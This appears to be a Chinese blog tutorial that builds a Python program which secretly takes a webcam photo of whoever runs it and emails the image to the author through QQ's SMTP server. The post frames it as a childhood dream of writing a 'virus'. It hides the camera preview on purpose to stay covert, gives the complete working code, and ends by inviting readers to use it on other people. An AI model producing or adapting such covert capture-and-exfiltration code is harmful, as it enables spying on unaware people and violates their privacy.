目录

哈喽!

拍照片

opencv的安装

方式一

方式二

方式三

其他必要模块的安装

拍照片

代码解释

VideoCapture

read

imwrite

release

发邮件

快乐的codeing!!!

最后


哈喽!

还记得我小时候有一个想法,以后我要做一个病毒,别人一打开程序,就偷偷地拍下他一张图片来,自动发到我的邮箱里,这也算我当时的一个小愿望

这个想法在当时是基本不可能实现的,但现在就要实现一下喽

拍照片

首先,拍照片需要opencv库

这个库卡住了我好几天,就是死活安不上

opencv的安装

方式一

终端运行输入

pip install opencv-python

这种方法有可能不行,看运气吧

方式二

去GitHub上手动下载,网址:链接

下载下来是一个名叫 "opencv-python-master" 的文件,你把它保存到你下载python环境的路径里

比如你的路径是C:/home/xxxx/...../python3.6/lib/site-package这个文件夹里

你进入编译器(以pycharm为例),输入 " import cv2 "查看有无报错

如果有报错,去看方式三

如果无报错,恭喜你,安装成功啦!

方式三

如果还没有安上,打开你的PyCharm

File--->Setting

然后出来这个页面,点这里

以上是安装opencv

其他必要模块的安装

pip install exifread

以上内容cmd运行

还有一些模块,你们的可能是内置的,如果一会代码有报错,就按照这个模板安装

pip/pip3 + install + 模块名

拍照片

既然我们有了opencv,那拍照片还不是绰绰有余?

def getphoto():cap = cv2.VideoCapture(0)ret, frame = cap.read()cv2.imwrite('1.jpg', frame)#cv2.imshow("capture", frame)cap.release()cv2.destroyAllWindows()

代码解释

这段程序是cv2调用摄像头的代码,我下面会写详细介绍

注意我注释掉那行如果去掉注释运行程序会有一个灰框框闪一下

这是显示的摄像头拍到的内容

而我前面也说过是偷偷拍照,所以这行代码注释掉,可以去掉注释自己看看效果

VideoCapture

cv2.VideoCapture()用于读取视频,也可以用于读取摄像头图像。

videocapture()的参数是设备的索引号,或者是一个视频文件。如果设备索引号是本身的笔记本的内置摄像头,则其参数为0.可以设置1或者其他的来选择别的摄像头。

这里设一个变量cap=cv2.VidevCapture(0)就是把图片保存到变量cap里

read

ret,frame = cap.read()

这行的意思是

按帧读取视频,返回值ret是布尔型,正确读取则返回True,读取失败或读取视频结尾则会返回False。frame为每一帧的图像,这里图像是三维矩阵,即frame.shape = (640,480,3),读取的图像为BGR格式。

imwrite

使用函数cv2.imwrite(file,img,num)保存一个图像。第一个参数是要保存的文件名,第二个参数是要保存的图像。可选的第三个参数,它针对特定的格式:对于JPEG,其表示的是图像的质量,用0 - 100的整数表示,默认95;对于png ,第三个参数表示的是压缩级别。默认为3.

release

这个函数就是释放资源

因为你还没有释放相机设备资源,那么它将引发比如Device or resource busy之类的报错,从而引发OpenCV异常

最后,关闭相机,完事!!

发邮件

这个有麻烦,不过,不经历风雨,怎能见得彩虹?

首先,登录你的QQ,点这个打开邮箱

点设置

选账户

找到这个

如果你的这个是关闭状态,把它开启一下,你会获得一个密码

记住这个密码

快乐的codeing!!!

先看一下运行效果

一运行,就看见摄像头上闪了一下,接着就收到了邮件

可以看到有个人(原图片我是代码调过亮度的,很清楚,这里我打了码)

代码

import smtplib
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
import random
import os
import numpy as np
import cv2
import exifreaddef getphoto():cap = cv2.VideoCapture(0)ret, frame = cap.read()cv2.imwrite('1.jpg', frame)cv2.imshow("capture", frame)cap.release()cv2.destroyAllWindows()def send_email(msg_from, passwd, msg_to, text_content, file_path):msg = MIMEMultipart()subject = "有人打开程序!"  # 主题text = MIMEText(text_content)msg.attach(text)file_path = r'1.jpg'if file_path:docFile = file_pathdocApart = MIMEApplication(open(docFile, 'rb').read())docApart.add_header('Content-Disposition', 'attachment', filename=docFile)msg.attach(docApart)msg['Subject'] = subjectmsg['From'] = msg_frommsg['To'] = msg_totry:s = smtplib.SMTP_SSL("smtp.qq.com", 465)s.login(msg_from, passwd)s.sendmail(msg_from, msg_to, msg.as_string())except smtplib.SMTPException as e:print("Error")finally:s.quit()def read_path(file_pathname,shu):for filename in os.listdir(file_pathname):print(filename)img = cv2.imread(file_pathname+'/'+filename)image = np.power(img, shu)          # 对像素值指数变换cv2.imwrite(filename, image)if __name__ == '__main__':getphoto()img = cv2.imread('1.jpg')# 把图片转换为单通道的灰度图gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)# 获取形状以及长宽img_shape = gray_img.shapeheight, width = img_shape[0], img_shape[1]size = gray_img.size# 灰度图的直方图hist = cv2.calcHist([gray_img], [0], None, [256], [0, 256])# 计算灰度图像素点偏离均值(128)程序a = 0ma = 0# np.full 构造一个数组,用指定值填充其元素reduce_matrix = np.full((height, width), 128)shift_value = gray_img - reduce_matrixshift_sum = np.sum(shift_value)da = shift_sum / size# 计算偏离128的平均偏差for i in range(256):ma += (abs(i - 128 - da) * hist[i])m = abs(ma / size)# 亮度系数k = abs(da) / m#print(k)if k[0] > 1:# 过亮if da > 0:read_path("1.jpg",0.8)else:read_path("1.jpg",1.2)fr = open("1.jpg","rb")imageinfo=exifread.process_file(fr)msg_from = 'xxxxxxxxxx@xx.com'  # 发送方邮箱(写你的邮箱)passwd = 'xxxxxxxx'#这个地方写你刚才获得的密码msg_to = 'xxxxxxxxxx@xx.com'#接受方邮箱(写你的邮箱)text_content = "有人打开了程序!"file_path = '1.jpg'  # 需要发送的附件目录send_email(msg_from, passwd, msg_to, text_content, file_path)

好啦,可以拿去整人啦

最后

哈哈哈哈哈哈!

可以整人啦!!

希望上热榜,一百名也不要紧,玩的就是成就感,哈哈哈哈哈

再见!

Python发邮件和拍照最全教程相关推荐

  1. python发邮件图片太长显示不出来_小白入门,用python 发送定时邮件,将Dataframe转为邮件正文,链接显示为图片...

    在实际工作中,我们常常会遇到定时发送邮件的任务,基于我的实践,分享给大家,也许一篇文章写不完,就先列个目录. 本文想要解决的问题: 用python构造一封邮件,并设置定时发送出去.往往,这只是最低级的 ...

  2. python 发邮件 timeout_python发送邮件

    一.相关模块介绍 发送邮件主要用到了smtplib和email两个模块,这里首先就两个模块进行一下简单的介绍: 1.smtplib模块 smtplib.SMTP([host[, port[, loca ...

  3. python发邮件有什么意思_python发邮件要装什么

    在介绍具体的实现python发邮件的具体操作之前,我觉得有必要介绍下SMTP,更有助于理解python发邮件的实现原理.SMTP协议属于TCP/IP协议簇,即简单邮件传输协议,它是一组用于由源地址到目 ...

  4. python发邮件详解,smtplib和email模块详解

    在介绍具体的实现python发邮件的具体操作之前,我觉得有必要介绍下SMTP,更有助于理解python发邮件的实现原理.SMTP协议属于TCP/IP协议簇,即简单邮件传输协议,它是一组用于由源地址到目 ...

  5. Python基础笔记_Day12_Python元类、type动态创建类、Python动态创建方法、Python运算符、Python发邮件、短信

    Day12_Python元类.type动态创建类.Python动态创建方法.Python运算符重载.Python发邮件.短信 12.01_Python语言基础(类对象)(熟悉) 12.02_Pytho ...

  6. Python发邮件时报错 554

    Python发邮件时报错 554 错误: smtplib.SMTPDataError: (554, b'DT:SPM 163 smtp10,DsCowAA3h9_QbgZXI9_fCQ--.713S2 ...

  7. python发邮件详解 -- smtplib和email模块

    文章目录 python发邮件详解,-->smtplib和email模块 1.python发邮件所需要的基础包 2.smtplib的用法 3.email模块的详细理解和使用 A.MIMEText对 ...

  8. 网易163邮箱开通smtp邮件协议后用python发邮件

    网易SMTP开通及python发邮件 1.登录 2.设置 开启服务 短信验证开启服务 得到授权码 3.发文本代码 4.发html代码 1.登录 网易邮箱登录注册地址 https://email.163 ...

  9. day21-办公自动化:利用Python发邮件

    Excel中绘制图表 下载三方库openpyxl pip install openpyxl from datetime import datetimefrom openpyxl from openpy ...

最新文章

  1. Json在Java后台的操作
  2. Laravel5.4 使用Carbon人性化显示发表评论中文时间
  3. idea中新增package总是嵌套的解决方法
  4. php数字小数大小比较,PHP 常用的数学函数和数值处理函数
  5. 机器学习知识点(十九)矩阵特征值分解基础知识及Java实现
  6. 强制修改mysql 中root的密码
  7. [css] 如何给段落的首行缩进?
  8. 复习:稀疏链表的十字链表
  9. 北京联通光猫 F427 路由改桥接的方法
  10. 帆软扩展单元格运算的相关应用
  11. 图像处理-与,或等运算
  12. 常用组合逻辑电路及MSI组合电路模块的应用—上篇
  13. 计算机英语词汇 沪江,常用计算机英语词汇学习
  14. cad字体渐变_CAD制造特效字体
  15. 蓝桥杯赛后总结与反思
  16. 【如何学习CAN总线测试】——Python+Robot Framework框架实现UDS诊断自动化
  17. seata xid是什么_急:IDMA是什么?SDMA又是什么?
  18. java画哆啦A梦_java如何绘制哆啦A梦 java绘制哆啦A梦代码示例
  19. pmc订单表格_PMC生产计划表
  20. EXCEL表格转化为XML格式文件

热门文章

  1. 最近删除的照片删除怎么恢复?iPhone手机这样操作安全又轻松
  2. 重庆专升本历年考试真题+答案解析2008-2022真题
  3. 【2.初识 PIE-engine遥感计算云服务平台】
  4. 关于远程连接使用完后已断开连接,服务器端仍显示用户正在连接的解决方法
  5. 招标采购中,如何编写有效的RFI(信息邀请书)?
  6. 从旺店通·企业奇门到用友BIP通过接口配置打通数据
  7. 转载-华科大四学生写万言忏悔书 劝学弟妹莫虚度光阴
  8. 美国航空航天局对数据中心进行整合
  9. Redis设置访问密码
  10. SQL中的排序和分组